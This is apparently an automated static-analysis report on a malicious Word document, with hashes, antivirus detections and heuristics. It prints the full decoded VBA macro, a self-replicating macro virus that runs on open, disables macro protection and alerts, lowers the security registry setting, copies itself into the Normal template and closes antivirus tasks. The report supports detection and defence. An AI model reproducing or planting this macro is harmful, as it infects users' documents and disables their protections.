Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e5107886e1b9e0b9…

MALICIOUS

Office (OLE)

27.0 KB Created: 2002-06-20 18:29:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 6c92e13e1d18cb62cfbfeddc65dbe320 SHA-1: 0d845bc18bcfd2fe35d4093f3ca2c8a67e6b3087 SHA-256: e5107886e1b9e0b9e09034fb7a06e69b20e45c840b65812b4d2d60f52a3a54c9
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that execute upon opening the document, as indicated by the `Document_Open` subroutine. The script attempts to disable Word's macro security by setting the registry key `HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security\Level` to 1. It also manipulates the Normal template to potentially embed malicious code and attempts to close specific antivirus-related tasks named 'AVP Monitor' and 'NAI_VS_STAT'. This suggests an attempt to prepare the system for further malicious activity.

Heuristics 3

  • ClamAV: Doc.Trojan.Neuro-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Neuro-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1698 bytes
SHA-256: 76285d5b777760cdea2a2adc809189e9d87a839d910764a264bb5de4b253185a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Set xQrWmKtBciLvBx = Word.Application
With xQrWmKtBciLvBx
.Options.VirusProtection = Not -1
.DisplayStatusBar = Not -1
.ScreenUpdating = Not -1
.Options.ConfirmConversions = Not -1
.DisplayAlerts = Not -1
.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1
End With
Call TsiMxiVBqCc
Set LkBeLeXBOVLdEeY = xQrWmKtBciLvBx.ActiveDocument.VBProject.VBComponents(1)
Set egStaeetTOJXiHhinU = xQrWmKtBciLvBx.NormalTemplate.VBProject.VBComponents(1)
If (LkBeLeXBOVLdEeY.Name <> "EmGPFbBybXUfI") Then
gdnxfNeIoX = egStaeetTOJXiHhinU.CodeModule.Lines(1, egStaeetTOJXiHhinU.CodeModule.CountOfLines)
LkBeLeXBOVLdEeY.CodeModule.AddFromString gdnxfNeIoX
LkBeLeXBOVLdEeY.Name = "EmGPFbBybXUfI"
ActiveDocument.Saved = True
End If
If (egStaeetTOJXiHhinU.Name <> "EmGPFbBybXUfI") Then
tNQLmRroK = LkBeLeXBOVLdEeY.CodeModule.Lines(1, LkBeLeXBOVLdEeY.CodeModule.CountOfLines)
egStaeetTOJXiHhinU.CodeModule.AddFromString tNQLmRroK
egStaeetTOJXiHhinU.Name = "EmGPFbBybXUfI"
NormalTemplate.Save
End If
End Sub
Private Sub TsiMxiVBqCc()
Set xlDkemqPglPy = Tasks
With xlDkemqPglPy
For SYarDLQwFl = 1 To .Count
If (.Item(SYarDLQwFl).Name = "AVP Monitor") Or (.Item(SYarDLQwFl).Name = "NAI_VS_STAT") Then .Item(SYarDLQwFl).Close
Next SYarDLQwFl
End With
End Sub
'Generated with [NEUROiD] v0.1